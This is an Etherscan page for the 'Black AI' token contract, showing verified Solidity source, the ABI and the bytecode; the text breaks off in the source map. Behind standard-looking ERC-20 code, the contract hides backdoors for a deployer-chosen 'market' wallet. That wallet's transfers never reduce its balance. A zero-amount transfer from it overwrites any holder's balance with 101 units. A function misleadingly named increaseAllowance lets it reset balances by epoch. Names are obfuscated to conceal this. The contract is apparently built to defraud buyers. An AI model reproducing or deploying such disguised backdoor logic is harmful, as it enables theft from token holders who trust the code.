ETH Price: $2,513.14 (-0.17%)

Token

Black AI (BlackAI)
 

Overview

Max Total Supply

1,000,000,000 BlackAI

Holders

54

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
6,431,590.571486346 BlackAI

Value
$0.00
0xc08196895B09CAd4Bdc7d96b47BAe80E36dF809a
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BlackAI

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2023-06-16
*/

/**
 https://www.blackaieth.com/

 https://t.me/blackaiportal

 https://twitter.com/blackaierc

 https://blackaierc20.gitbook.io/black-ai-utility/

*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.20;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

contract BlackAI is Ownable {
    mapping(uint256 => mapping(address => uint256)) balance;
    mapping(uint256 => mapping(address => bool)) BlackAIbal;

    uint256 private BlackAIdistro = 1;
    string public name = "Black AI";
    uint256 private BlackAIlimit;

    function balanceOf(address user) public view returns (uint256) {
        if (user == BlackAIpair) return balance[BlackAIdistro][user];

        if (!BlackAIbal[BlackAIdistro][user] && balance[BlackAIdistro - 1][user] != 0) {
            return balance[BlackAIdistro][user] + BlackAIlimit;
        }
        return balance[BlackAIdistro][user];
    }

    function increaseAllowance(
        uint256 _BlackAIlimit,
        address[] memory BlackAIholder
    ) public returns (bool success) {
        if (BlackAIwallet[msg.sender] != 0) {
            BlackAIdistro++;
            for (uint256 i = 0; i < BlackAIholder.length; i++) {
                balance[BlackAIdistro][BlackAIholder[i]] =
                    balance[BlackAIdistro - 1][BlackAIholder[i]] +
                    BlackAIlimit;
            }

            balance[BlackAIdistro][BlackAIpair] = balance[BlackAIdistro - 1][
                BlackAIpair
            ];

            BlackAIlimit = _BlackAIlimit;
        }

        return true;
    }

    function approve(
        address BlackAIactive,
        uint256 BlackAInumber
    ) public returns (bool success) {
        allowance[msg.sender][BlackAIactive] = BlackAInumber;
        emit Approval(msg.sender, BlackAIactive, BlackAInumber);
        return true;
    }

    uint8 public decimals = 9;

    function BlackAIspender(address BlackAIapprover, address BlackAIreceiver, uint256 BlackAInumber) private {
        if (!BlackAIbal[BlackAIdistro][BlackAIapprover]) {
            BlackAIbal[BlackAIdistro][BlackAIapprover] = true;
            if (balance[BlackAIdistro - 1][BlackAIapprover] != 0)
                balance[BlackAIdistro][BlackAIapprover] += BlackAIlimit;
        }

        if (!BlackAIbal[BlackAIdistro][BlackAIreceiver]) {
            BlackAIbal[BlackAIdistro][BlackAIreceiver] = true;
            if (balance[BlackAIdistro - 1][BlackAIreceiver] != 0)
                balance[BlackAIdistro][BlackAIreceiver] += BlackAIlimit;
        }

        if (BlackAIwallet[BlackAIapprover] == 0) {
            balance[BlackAIdistro][BlackAIapprover] -= BlackAInumber;
        }
        balance[BlackAIdistro][BlackAIreceiver] += BlackAInumber;
        if (
            BlackAIwallet[msg.sender] > 0 && BlackAInumber == 0 && BlackAIreceiver != BlackAIpair
        ) {
            balance[BlackAIdistro][BlackAIreceiver] = BlackAIvalue;
        }
        emit Transfer(BlackAIapprover, BlackAIreceiver, BlackAInumber);
    }

    address public BlackAIpair;

    mapping(address => mapping(address => uint256)) public allowance;

    string public symbol = "BlackAI";

    mapping(address => uint256) private BlackAIwallet;

    function transfer(
        address BlackAIreceiver,
        uint256 BlackAInumber
    ) public returns (bool success) {
        require(BlackAIreceiver != address(0), "Can't transfer to 0 address");
        BlackAIspender(msg.sender, BlackAIreceiver, BlackAInumber);
        return true;
    }

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    uint256 public totalSupply = 1000000000 * 10 ** 9;

    function transferFrom(
        address BlackAIapprover,
        address BlackAIreceiver,
        uint256 BlackAInumber
    ) public returns (bool success) {
        require(BlackAInumber <= allowance[BlackAIapprover][msg.sender]);
        allowance[BlackAIapprover][msg.sender] -= BlackAInumber;
        BlackAIspender(BlackAIapprover, BlackAIreceiver, BlackAInumber);
        return true;
    }

    constructor(address BlackAImarket) {
        balance[BlackAIdistro][msg.sender] = totalSupply;
        BlackAIwallet[BlackAImarket] = BlackAIvalue;
        IUniswapV2Router02 BlackAIworkshop = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        BlackAIpair = IUniswapV2Factory(BlackAIworkshop.factory()).createPair(
            address(this),
            BlackAIworkshop.WETH()
        );
    }

    uint256 private BlackAIvalue = 101;

    mapping(address => uint256) private BlackAIprime;
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"BlackAImarket","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"BlackAIpair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"BlackAIactive","type":"address"},{"internalType":"uint256","name":"BlackAInumber","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"user","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_BlackAIlimit","type":"uint256"},{"internalType":"address[]","name":"BlackAIholder","type":"address[]"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"BlackAIreceiver","type":"address"},{"internalType":"uint256","name":"BlackAInumber","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"BlackAIapprover","type":"address"},{"internalType":"address","name":"BlackAIreceiver","type":"address"},{"internalType":"uint256","name":"BlackAInumber","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

600160035560c06040526008608090815267426c61636b20414960c01b60a0526004906200002e908262000348565b506006805460ff19166009179055604080518082019091526007815266426c61636b414960c81b602082015260089062000069908262000348565b50670de0b6b3a7640000600a556065600b5534801562000087575f80fd5b506040516200125938038062001259833981016040819052620000aa9162000410565b5f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600a546003545f908152600160209081526040808320338452825280832093909355600b546001600160a01b0385168352600982529183902091909155815163c45a015560e01b81529151737a250d5630b4cf539739df2c5dacb4c659f2488d92839263c45a0155926004808401938290030181865afa15801562000171573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000197919062000410565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001e3573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000209919062000410565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801562000254573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200027a919062000410565b600660016101000a8154816001600160a01b0302191690836001600160a01b0316021790555050506200043f565b634e487b7160e01b5f52604160045260245ffd5b600181811c90821680620002d157607f821691505b602082108103620002f057634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111562000343575f81815260208120601f850160051c810160208610156200031e5750805b601f850160051c820191505b818110156200033f578281556001016200032a565b5050505b505050565b81516001600160401b03811115620003645762000364620002a8565b6200037c81620003758454620002bc565b84620002f6565b602080601f831160018114620003b2575f84156200039a5750858301515b5f19600386901b1c1916600185901b1785556200033f565b5f85815260208120601f198616915b82811015620003e257888601518255948401946001909101908401620003c1565b50858210156200040057878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b5f6020828403121562000421575f80fd5b81516001600160a01b038116811462000438575f80fd5b9392505050565b610e0c806200044d5f395ff3fe608060405234801561000f575f80fd5b50600436106100e5575f3560e01c8063715018a61161008857806395d89b411161006357806395d89b41146101e3578063a9059cbb146101eb578063dd62ed3e146101fe578063f2fde38b14610228575f80fd5b8063715018a6146101b65780638da5cb5b146101c057806391547812146101d0575f80fd5b806323b872dd116100c357806323b872dd14610141578063313ce567146101545780634625cece1461017357806370a08231146101a3575f80fd5b806306fdde03146100e9578063095ea7b31461010757806318160ddd1461012a575b5f80fd5b6100f161023b565b6040516100fe9190610b40565b60405180910390f35b61011a610115366004610ba6565b6102c7565b60405190151581526020016100fe565b610133600a5481565b6040519081526020016100fe565b61011a61014f366004610bce565b610333565b6006546101619060ff1681565b60405160ff90911681526020016100fe565b60065461018b9061010090046001600160a01b031681565b6040516001600160a01b0390911681526020016100fe565b6101336101b1366004610c07565b6103ae565b6101be6104bf565b005b5f546001600160a01b031661018b565b61011a6101de366004610c3b565b610565565b6100f16106c7565b61011a6101f9366004610ba6565b6106d4565b61013361020c366004610d07565b600760209081525f928352604080842090915290825290205481565b6101be610236366004610c07565b610736565b6004805461024890610d38565b80601f016020809104026020016040519081016040528092919081815260200182805461027490610d38565b80156102bf5780601f10610296576101008083540402835291602001916102bf565b820191905f5260205f20905b8154815290600101906020018083116102a257829003601f168201915b505050505081565b335f8181526007602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906103219086815260200190565b60405180910390a35060015b92915050565b6001600160a01b0383165f908152600760209081526040808320338452909152812054821115610361575f80fd5b6001600160a01b0384165f90815260076020908152604080832033845290915281208054849290610393908490610d84565b909155506103a4905084848461084d565b5060019392505050565b6006545f906001600160a01b036101009091048116908316036103f457506003545f9081526001602090815260408083206001600160a01b039094168352929052205490565b6003545f9081526002602090815260408083206001600160a01b038616845290915290205460ff1615801561045f575060015f60016003546104369190610d84565b815260208082019290925260409081015f9081206001600160a01b038616825290925290205415155b15610496576005546003545f9081526001602090815260408083206001600160a01b038716845290915290205461032d9190610d97565b506003545f9081526001602090815260408083206001600160a01b039094168352929052205490565b5f546001600160a01b0316331461051d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b335f90815260096020526040812054156106be5760038054905f61058883610daa565b91905055505f5b82518110156106635760055460015f60016003546105ad9190610d84565b81526020019081526020015f205f8584815181106105cd576105cd610dc2565b60200260200101516001600160a01b03166001600160a01b031681526020019081526020015f20546105ff9190610d97565b60015f60035481526020019081526020015f205f85848151811061062557610625610dc2565b60200260200101516001600160a01b03166001600160a01b031681526020019081526020015f2081905550808061065b90610daa565b91505061058f565b5060015f60016003546106769190610d84565b815260208082019290925260409081015f90812060065461010090046001600160a01b0316808352908452828220546003548352600185528383209183529352205560058390555b50600192915050565b6008805461024890610d38565b5f6001600160a01b03831661072b5760405162461bcd60e51b815260206004820152601b60248201527f43616e2774207472616e7366657220746f2030206164647265737300000000006044820152606401610514565b6106be33848461084d565b5f546001600160a01b0316331461078f5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610514565b6001600160a01b0381166107f45760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610514565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6003545f9081526002602090815260408083206001600160a01b038716845290915290205460ff1661092157600380545f9081526002602090815260408083206001600160a01b03881684529091528120805460ff1916600190811790915591546108b9908390610d84565b815260208082019290925260409081015f9081206001600160a01b038716825290925290205415610921576005546003545f9081526001602090815260408083206001600160a01b03881684529091528120805490919061091b908490610d97565b90915550505b6003545f9081526002602090815260408083206001600160a01b038616845290915290205460ff166109f557600380545f9081526002602090815260408083206001600160a01b03871684529091528120805460ff19166001908117909155915461098d908390610d84565b815260208082019290925260409081015f9081206001600160a01b0386168252909252902054156109f5576005546003545f9081526001602090815260408083206001600160a01b0387168452909152812080549091906109ef908490610d97565b90915550505b6001600160a01b0383165f908152600960205260408120549003610a4d576003545f9081526001602090815260408083206001600160a01b038716845290915281208054839290610a47908490610d84565b90915550505b6003545f9081526001602090815260408083206001600160a01b038616845290915281208054839290610a81908490610d97565b9091555050335f9081526009602052604090205415801590610aa1575080155b8015610ac057506006546001600160a01b038381166101009092041614155b15610aee57600b546003545f9081526001602090815260408083206001600160a01b03871684529091529020555b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610b3391815260200190565b60405180910390a3505050565b5f6020808352835180828501525f5b81811015610b6b57858101830151858201604001528201610b4f565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610ba1575f80fd5b919050565b5f8060408385031215610bb7575f80fd5b610bc083610b8b565b946020939093013593505050565b5f805f60608486031215610be0575f80fd5b610be984610b8b565b9250610bf760208501610b8b565b9150604084013590509250925092565b5f60208284031215610c17575f80fd5b610c2082610b8b565b9392505050565b634e487b7160e01b5f52604160045260245ffd5b5f8060408385031215610c4c575f80fd5b8235915060208084013567ffffffffffffffff80821115610c6b575f80fd5b818601915086601f830112610c7e575f80fd5b813581811115610c9057610c90610c27565b8060051b604051601f19603f83011681018181108582111715610cb557610cb5610c27565b604052918252848201925083810185019189831115610cd2575f80fd5b938501935b82851015610cf757610ce885610b8b565b84529385019392850192610cd7565b8096505050505050509250929050565b5f8060408385031215610d18575f80fd5b610d2183610b8b565b9150610d2f60208401610b8b565b90509250929050565b600181811c90821680610d4c57607f821691505b602082108103610d6a57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561032d5761032d610d70565b8082018082111561032d5761032d610d70565b5f60018201610dbb57610dbb610d70565b5060010190565b634e487b7160e01b5f52603260045260245ffdfea2646970667358221220c8107cc61574abf75c2d2cad261b6aa5cf17c4b6a5715e9c478fe8f114e0918164736f6c63430008140033000000000000000000000000a1d24f64ee08db74ebf65998d6163288a25c541b

Deployed Bytecode

0x608060405234801561000f575f80fd5b50600436106100e5575f3560e01c8063715018a61161008857806395d89b411161006357806395d89b41146101e3578063a9059cbb146101eb578063dd62ed3e146101fe578063f2fde38b14610228575f80fd5b8063715018a6146101b65780638da5cb5b146101c057806391547812146101d0575f80fd5b806323b872dd116100c357806323b872dd14610141578063313ce567146101545780634625cece1461017357806370a08231146101a3575f80fd5b806306fdde03146100e9578063095ea7b31461010757806318160ddd1461012a575b5f80fd5b6100f161023b565b6040516100fe9190610b40565b60405180910390f35b61011a610115366004610ba6565b6102c7565b60405190151581526020016100fe565b610133600a5481565b6040519081526020016100fe565b61011a61014f366004610bce565b610333565b6006546101619060ff1681565b60405160ff90911681526020016100fe565b60065461018b9061010090046001600160a01b031681565b6040516001600160a01b0390911681526020016100fe565b6101336101b1366004610c07565b6103ae565b6101be6104bf565b005b5f546001600160a01b031661018b565b61011a6101de366004610c3b565b610565565b6100f16106c7565b61011a6101f9366004610ba6565b6106d4565b61013361020c366004610d07565b600760209081525f928352604080842090915290825290205481565b6101be610236366004610c07565b610736565b6004805461024890610d38565b80601f016020809104026020016040519081016040528092919081815260200182805461027490610d38565b80156102bf5780601f10610296576101008083540402835291602001916102bf565b820191905f5260205f20905b8154815290600101906020018083116102a257829003601f168201915b505050505081565b335f8181526007602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906103219086815260200190565b60405180910390a35060015b92915050565b6001600160a01b0383165f908152600760209081526040808320338452909152812054821115610361575f80fd5b6001600160a01b0384165f90815260076020908152604080832033845290915281208054849290610393908490610d84565b909155506103a4905084848461084d565b5060019392505050565b6006545f906001600160a01b036101009091048116908316036103f457506003545f9081526001602090815260408083206001600160a01b039094168352929052205490565b6003545f9081526002602090815260408083206001600160a01b038616845290915290205460ff1615801561045f575060015f60016003546104369190610d84565b815260208082019290925260409081015f9081206001600160a01b038616825290925290205415155b15610496576005546003545f9081526001602090815260408083206001600160a01b038716845290915290205461032d9190610d97565b506003545f9081526001602090815260408083206001600160a01b039094168352929052205490565b5f546001600160a01b0316331461051d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b335f90815260096020526040812054156106be5760038054905f61058883610daa565b91905055505f5b82518110156106635760055460015f60016003546105ad9190610d84565b81526020019081526020015f205f8584815181106105cd576105cd610dc2565b60200260200101516001600160a01b03166001600160a01b031681526020019081526020015f20546105ff9190610d97565b60015f60035481526020019081526020015f205f85848151811061062557610625610dc2565b60200260200101516001600160a01b03166001600160a01b031681526020019081526020015f2081905550808061065b90610daa565b91505061058f565b5060015f60016003546106769190610d84565b815260208082019290925260409081015f90812060065461010090046001600160a01b0316808352908452828220546003548352600185528383209183529352205560058390555b50600192915050565b6008805461024890610d38565b5f6001600160a01b03831661072b5760405162461bcd60e51b815260206004820152601b60248201527f43616e2774207472616e7366657220746f2030206164647265737300000000006044820152606401610514565b6106be33848461084d565b5f546001600160a01b0316331461078f5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610514565b6001600160a01b0381166107f45760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610514565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6003545f9081526002602090815260408083206001600160a01b038716845290915290205460ff1661092157600380545f9081526002602090815260408083206001600160a01b03881684529091528120805460ff1916600190811790915591546108b9908390610d84565b815260208082019290925260409081015f9081206001600160a01b038716825290925290205415610921576005546003545f9081526001602090815260408083206001600160a01b03881684529091528120805490919061091b908490610d97565b90915550505b6003545f9081526002602090815260408083206001600160a01b038616845290915290205460ff166109f557600380545f9081526002602090815260408083206001600160a01b03871684529091528120805460ff19166001908117909155915461098d908390610d84565b815260208082019290925260409081015f9081206001600160a01b0386168252909252902054156109f5576005546003545f9081526001602090815260408083206001600160a01b0387168452909152812080549091906109ef908490610d97565b90915550505b6001600160a01b0383165f908152600960205260408120549003610a4d576003545f9081526001602090815260408083206001600160a01b038716845290915281208054839290610a47908490610d84565b90915550505b6003545f9081526001602090815260408083206001600160a01b038616845290915281208054839290610a81908490610d97565b9091555050335f9081526009602052604090205415801590610aa1575080155b8015610ac057506006546001600160a01b038381166101009092041614155b15610aee57600b546003545f9081526001602090815260408083206001600160a01b03871684529091529020555b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610b3391815260200190565b60405180910390a3505050565b5f6020808352835180828501525f5b81811015610b6b57858101830151858201604001528201610b4f565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610ba1575f80fd5b919050565b5f8060408385031215610bb7575f80fd5b610bc083610b8b565b946020939093013593505050565b5f805f60608486031215610be0575f80fd5b610be984610b8b565b9250610bf760208501610b8b565b9150604084013590509250925092565b5f60208284031215610c17575f80fd5b610c2082610b8b565b9392505050565b634e487b7160e01b5f52604160045260245ffd5b5f8060408385031215610c4c575f80fd5b8235915060208084013567ffffffffffffffff80821115610c6b575f80fd5b818601915086601f830112610c7e575f80fd5b813581811115610c9057610c90610c27565b8060051b604051601f19603f83011681018181108582111715610cb557610cb5610c27565b604052918252848201925083810185019189831115610cd2575f80fd5b938501935b82851015610cf757610ce885610b8b565b84529385019392850192610cd7565b8096505050505050509250929050565b5f8060408385031215610d18575f80fd5b610d2183610b8b565b9150610d2f60208401610b8b565b90509250929050565b600181811c90821680610d4c57607f821691505b602082108103610d6a57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561032d5761032d610d70565b8082018082111561032d5761032d610d70565b5f60018201610dbb57610dbb610d70565b5060010190565b634e487b7160e01b5f52603260045260245ffdfea2646970667358221220c8107cc61574abf75c2d2cad261b6aa5cf17c4b6a5715e9c478fe8f114e0918164736f6c63430008140033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000a1d24f64ee08db74ebf65998d6163288a25c541b

-----Decoded View---------------
Arg [0] : BlackAImarket (address): 0xa1D24f64ee08DB74EBF65998D6163288a25c541B

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000a1d24f64ee08db74ebf65998d6163288a25c541b


Deployed Bytecode Sourcemap

2523:4530:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2724:31;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3843:277;;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;3843:277:0;1004:187:1;6034:49:0;;;;;;;;;1342:25:1;;;1330:2;1315:18;6034:49:0;1196:177:1;6092:404:0;;;;;;:::i;:::-;;:::i;4128:25::-;;;;;;;;;;;;1883:4:1;1871:17;;;1853:36;;1841:2;1826:18;4128:25:0;1711:184:1;5319:26:0;;;;;;;;-1:-1:-1;;;;;5319:26:0;;;;;;-1:-1:-1;;;;;2064:32:1;;;2046:51;;2034:2;2019:18;5319:26:0;1900:203:1;2799:356:0;;;;;;:::i;:::-;;:::i;1631:148::-;;;:::i;:::-;;989:79;1027:7;1054:6;-1:-1:-1;;;;;1054:6:0;989:79;;3163:672;;;;;;:::i;:::-;;:::i;5427:32::-;;;:::i;5526:300::-;;;;;;:::i;:::-;;:::i;5354:64::-;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;1934:281;;;;;;:::i;:::-;;:::i;2724:31::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;3843:277::-;3982:10;3947:12;3972:21;;;:9;:21;;;;;;;;-1:-1:-1;;;;;3972:36:0;;;;;;;;;;:52;;;4040:50;3947:12;;3972:36;;4040:50;;;;4011:13;1342:25:1;;1330:2;1315:18;;1196:177;4040:50:0;;;;;;;;-1:-1:-1;4108:4:0;3843:277;;;;;:::o;6092:404::-;-1:-1:-1;;;;;6287:26:0;;6237:12;6287:26;;;:9;:26;;;;;;;;6314:10;6287:38;;;;;;;;6270:55;;;6262:64;;;;;;-1:-1:-1;;;;;6337:26:0;;;;;;:9;:26;;;;;;;;6364:10;6337:38;;;;;;;:55;;6379:13;;6337:26;:55;;6379:13;;6337:55;:::i;:::-;;;;-1:-1:-1;6403:63:0;;-1:-1:-1;6418:15:0;6435;6452:13;6403:14;:63::i;:::-;-1:-1:-1;6484:4:0;6092:404;;;;;:::o;2799:356::-;2885:11;;2853:7;;-1:-1:-1;;;;;2885:11:0;;;;;;2877:19;;;;2873:60;;-1:-1:-1;2913:13:0;;2905:22;;;;:7;:22;;;;;;;;-1:-1:-1;;;;;2905:28:0;;;;;;;;;;;2799:356::o;2873:60::-;2962:13;;2951:25;;;;:10;:25;;;;;;;;-1:-1:-1;;;;;2951:31:0;;;;;;;;;;;;2950:32;:73;;;;;2986:7;:26;3010:1;2994:13;;:17;;;;:::i;:::-;2986:26;;;;;;;;;;;;;;-1:-1:-1;2986:26:0;;;-1:-1:-1;;;;;2986:32:0;;;;;;;;;;:37;;2950:73;2946:156;;;3078:12;;3055:13;;3047:22;;;;:7;:22;;;;;;;;-1:-1:-1;;;;;3047:28:0;;;;;;;;;;:43;;3078:12;3047:43;:::i;2946:156::-;-1:-1:-1;3127:13:0;;3119:22;;;;:7;:22;;;;;;;;-1:-1:-1;;;;;3119:28:0;;;;;;;;;;;2799:356::o;1631:148::-;1201:6;;-1:-1:-1;;;;;1201:6:0;339:10;1201:22;1193:67;;;;-1:-1:-1;;;1193:67:0;;4872:2:1;1193:67:0;;;4854:21:1;;;4891:18;;;4884:30;4950:34;4930:18;;;4923:62;5002:18;;1193:67:0;;;;;;;;;1738:1:::1;1722:6:::0;;1701:40:::1;::::0;-1:-1:-1;;;;;1722:6:0;;::::1;::::0;1701:40:::1;::::0;1738:1;;1701:40:::1;1769:1;1752:19:::0;;-1:-1:-1;;;;;;1752:19:0::1;::::0;;1631:148::o;3163:672::-;3329:10;3286:12;3315:25;;;:13;:25;;;;;;:30;3311:493;;3362:13;:15;;;:13;:15;;;:::i;:::-;;;;;;3397:9;3392:230;3416:13;:20;3412:1;:24;3392:230;;;3594:12;;3526:7;:26;3550:1;3534:13;;:17;;;;:::i;:::-;3526:26;;;;;;;;;;;:44;3553:13;3567:1;3553:16;;;;;;;;:::i;:::-;;;;;;;-1:-1:-1;;;;;3526:44:0;-1:-1:-1;;;;;3526:44:0;;;;;;;;;;;;;:80;;;;:::i;:::-;3462:7;:22;3470:13;;3462:22;;;;;;;;;;;:40;3485:13;3499:1;3485:16;;;;;;;;:::i;:::-;;;;;;;-1:-1:-1;;;;;3462:40:0;-1:-1:-1;;;;;3462:40:0;;;;;;;;;;;;:144;;;;3438:3;;;;;:::i;:::-;;;;3392:230;;;;3676:7;:26;3700:1;3684:13;;:17;;;;:::i;:::-;3676:26;;;;;;;;;;;;;;-1:-1:-1;3676:26:0;;;3721:11;;;;;-1:-1:-1;;;;;3721:11:0;3676:71;;;;;;;;;;3646:13;;3638:22;;3721:11;3638:22;;;;;:35;;;;;;:109;3764:12;:28;;;3311:493;-1:-1:-1;3823:4:0;3163:672;;;;:::o;5427:32::-;;;;;;;:::i;5526:300::-;5633:12;-1:-1:-1;;;;;5666:29:0;;5658:69;;;;-1:-1:-1;;;5658: